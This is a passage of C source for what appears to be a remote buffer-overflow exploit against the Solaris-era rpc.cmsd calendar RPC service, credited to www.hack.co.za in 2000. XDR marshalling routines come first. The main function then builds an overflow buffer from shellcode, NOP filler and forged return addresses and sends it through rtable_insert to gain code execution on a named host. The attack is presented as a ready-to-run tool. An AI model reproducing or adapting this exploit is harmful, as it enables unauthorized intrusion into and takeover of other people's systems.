  987. Uidopt *objp;
  988. {
  989.  
  990.   register long *buf;
  991.  
  992.   if (!xdr_Id(xdrs, &objp->appt_id))
  993.     return (FALSE);
  994.   if (!xdr_Options(xdrs, &objp->option))
  995.     return (FALSE);
  996.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
  997.     return (FALSE);
  998.   return (TRUE);
  999. }
  1000.  
  1001. bool_t
  1002. xdr_Table_Args_Type(xdrs, objp)
  1003. register XDR *xdrs;
  1004. Table_Args_Type *objp;
  1005. {
  1006.  
  1007.   register long *buf;
  1008.  
  1009.   if (!xdr_enum(xdrs, (enum_t *)objp))
  1010.     return (FALSE);
  1011.   return (TRUE);
  1012. }
  1013.  
  1014. bool_t
  1015. xdr_Args(xdrs, objp)
  1016. register XDR *xdrs;
  1017. Args *objp;
  1018. {
  1019.  
  1020.   register long *buf;
  1021.  
  1022.   if (!xdr_Table_Args_Type(xdrs, &objp->tag))
  1023.     return (FALSE);
  1024.   switch (objp->tag)
  1025.     {
  1026.     case TICK_4:
  1027.       if (!xdr_long(xdrs, &objp->Args_u.tick))
  1028.         return (FALSE);
  1029.       break;
  1030.     case APPTID:
  1031.       if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
  1032.         return (FALSE);
  1033.       break;
  1034.     case UID:
  1035.       if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
  1036.         return (FALSE);
  1037.       break;
  1038.     case APPT:
  1039.       if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
  1040.         return (FALSE);
  1041.       break;
  1042.     case RANGE:
  1043.       if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
  1044.         return (FALSE);
  1045.       break;
  1046.     case KEYRANGE:
  1047.       if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
  1048.         return (FALSE);
  1049.       break;
  1050.     case UIDOPT:
  1051.       if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
  1052.         return (FALSE);
  1053.       break;
  1054.     default:
  1055.       return (FALSE);
  1056.     }
  1057.   return (TRUE);
  1058. }
  1059.  
  1060. bool_t
  1061. xdr_Table_Args(xdrs, objp)
  1062. register XDR *xdrs;
  1063. Table_Args *objp;
  1064. {
  1065.  
  1066.   register long *buf;
  1067.  
  1068.   if (!xdr_Buffer(xdrs, &objp->target))
  1069.     return (FALSE);
  1070.   if (!xdr_Args(xdrs, &objp->args))
  1071.     return (FALSE);
  1072.   if (!xdr_int(xdrs, &objp->pid))
  1073.     return (FALSE);
  1074.   return (TRUE);
  1075. }
  1076.  
  1077. bool_t
  1078. xdr_Registration(xdrs, objp)
  1079. register XDR *xdrs;
  1080. Registration *objp;
  1081. {
  1082.  
  1083.   register long *buf;
  1084.  
  1085.   if (!xdr_Buffer(xdrs, &objp->target))
  1086.     return (FALSE);
  1087.   if (!xdr_u_long(xdrs, &objp->prognum))
  1088.     return (FALSE);
  1089.   if (!xdr_u_long(xdrs, &objp->versnum))
  1090.     return (FALSE);
  1091.   if (!xdr_u_long(xdrs, &objp->procnum))
  1092.     return (FALSE);
  1093.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
  1094.     return (FALSE);
  1095.   if (!xdr_int(xdrs, &objp->pid))
  1096.     return (FALSE);
  1097.   return (TRUE);
  1098. }
  1099.  
  1100. bool_t
  1101. xdr_Table_Op_Args(xdrs, objp)
  1102. register XDR *xdrs;
  1103. Table_Op_Args *objp;
  1104. {
  1105.  
  1106.   register long *buf;
  1107.  
  1108.   if (!xdr_Buffer(xdrs, &objp->target))
  1109.     return (FALSE);
  1110.   if (!xdr_Buffer(xdrs, &objp->new_target))
  1111.     return (FALSE);
  1112.   return (TRUE);
  1113. }
  1114.  
  1115. bool_t
  1116. xdr_Table_Status(xdrs, objp)
  1117. register XDR *xdrs;
  1118. Table_Status *objp;
  1119. {
  1120.  
  1121.   register long *buf;
  1122.  
  1123.   if (!xdr_enum(xdrs, (enum_t *)objp))
  1124.     return (FALSE);
  1125.   return (TRUE);
  1126. }
  1127.  
  1128. bool_t
  1129. xdr_Registration_Status(xdrs, objp)
  1130. register XDR *xdrs;
  1131. Registration_Status *objp;
  1132. {
  1133.  
  1134.   register long *buf;
  1135.  
  1136.   if (!xdr_enum(xdrs, (enum_t *)objp))
  1137.     return (FALSE);
  1138.   return (TRUE);
  1139. }
  1140.  
  1141. /*
  1142.  * rtable_delete and rtable_change take over the functionality of
  1143.  * rtable_delete_instance and rtable_change_instance repectively.
  1144.  * rtable_delete_instance and rtable_change_instance are now dummy
  1145.  * routines exist for backward compatibility purpose and return
  1146.  * access_notsupported.
  1147.  */
  1148.  
  1149. extern Appt* make_appt();
  1150. extern void destroy_appt();
  1151. extern void destroy_list();
  1152. extern Appt *copy_appt();
  1153. extern Appt *copy_semiprivate_appt();
  1154. extern Abb_Appt *make_abbrev_appt();
  1155. extern void destroy_abbrev_appt();
  1156. extern Abb_Appt *copy_abbrev_appt();
  1157. extern Abb_Appt *appt_to_abbrev();
  1158. extern Abb_Appt *appt_to_semiprivate_abbrev();
  1159. extern Reminder* make_reminder();
  1160. extern void destroy_reminder();
  1161. extern Reminder* copy_reminder();
  1162. extern Uid* make_keyentry();
  1163. extern void destroy_keyentry();
  1164. extern Uid* copy_keyentry();
  1165. extern Access_Entry* make_access_entry();
  1166. extern Access_Entry* copy_access_list();
  1167. extern void destroy_access_list();
  1168. extern Abb_Appt *copy_single_abbrev_appt();
  1169. extern Attribute *make_attr();
  1170.  
  1171. /* ----- rpcgen ----- */
  1172.  
  1173. unsigned long resolve(char *host)
  1174. {
  1175.   long i;
  1176.   struct hostent *he;
  1177.  
  1178.   if((i=inet_addr(host))==(-1))
  1179.     if(!(he=gethostbyname(host)))
  1180.       return(0);
  1181.     else
  1182.       return(*(unsigned long *)he->h_addr);
  1183.  
  1184.   return(i);
  1185. }
  1186.  
  1187. int main(int argc, char *argv[])
  1188. {
  1189.   char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
  1190.   struct sockaddr_in sin;
  1191.   struct timeval tv;
  1192.   Table_Op_Args toa;
  1193.   Table_Status ts;
  1194.   Table_Args ta;
  1195.   Table_Res tr;
  1196.   Appt ap;
  1197.   int sock;
  1198.   unsigned long *ptr;
  1199.   CLIENT *c;
  1200.  
  1201.   if(argc!=2)
  1202.     {
  1203.       (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
  1204.       exit(-1);
  1205.     }
  1206.  
  1207.   (void)memset(&sin,0,sizeof(sin));
  1208.   sin.sin_family = AF_INET;
  1209.  
  1210.   if(!(sin.sin_addr.s_addr=resolve(argv[1])))
  1211.     {
  1212.       (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
  1213.       exit(-1);
  1214.     }
  1215.  
  1216.   (void)memset(&tv,0,sizeof(tv));
  1217.   tv.tv_sec = 7;
  1218.  
  1219.   sock = RPC_ANYSOCK;
  1220.   if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
  1221.     {
  1222.       (void)clnt_pcreateerror(argv[0]);
  1223.       exit(1);
  1224.     }
  1225.   c->cl_auth = authunix_create(argv[1],0,0,0,0);
  1226.  
  1227.   (void)memset(&toa,0,sizeof(toa));
  1228.   toa.target = cname;
  1229.  
  1230.   (void)memset(&ts,0,sizeof(ts));
  1231.  
  1232.   if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
  1233.                xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
  1234.     {
  1235.       (void)clnt_perror(c,"error: rtable_create");
  1236.       exit(-1);
  1237.     }
  1238.  
  1239.   (void)memset(abuf,0xff,sizeof(abuf));
  1240.   abuf[sizeof(abuf)-1] = 0;
  1241.  
  1242.   for(ptr=(unsigned long *)obuf;
  1243.       ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
  1244.       ptr++)
  1245.     *ptr = *(unsigned long *)c0de;
  1246.  
  1247.   (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));
  1248.  
  1249.   ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);
  1250.  
  1251.   for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
  1252.     *ptr = (0xeffffff0-RW_OFFSET);
  1253.  
  1254.   for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
  1255.     *ptr = (0xeffffff0-X_OFFSET);
  1256.  
  1257.   for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
  1258.     *ptr = *(unsigned long *)c0de;
  1259.  
  1260.   (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));
  1261.  
  1262.   (void)memset(&ap,0,sizeof(ap));
  1263.   ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
  1264.   ap.what = abuf;
  1265.   ap.client_data = &obuf[2];
  1266.  
  1267.   (void)memset(&ta,0,sizeof(ta));
  1268.   ta.args.tag = APPT;
  1269.   ta.target = cname;
  1270.   ta.args.Args_u.appt = ≈
  1271.  
  1272.   (void)memset(&tr,0,sizeof(tr));
  1273.  
  1274.   if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
  1275.                xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
  1276.     (void)printf("possible success\n");
  1277.   else
  1278.     {
  1279.       (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
  1280.       exit(-1);
  1281.     }
  1282.  
  1283.   (void)clnt_destroy(c);
  1284.  
  1285.   return(0);
  1286. }
  1287. /*                    www.hack.co.za              [2000]*/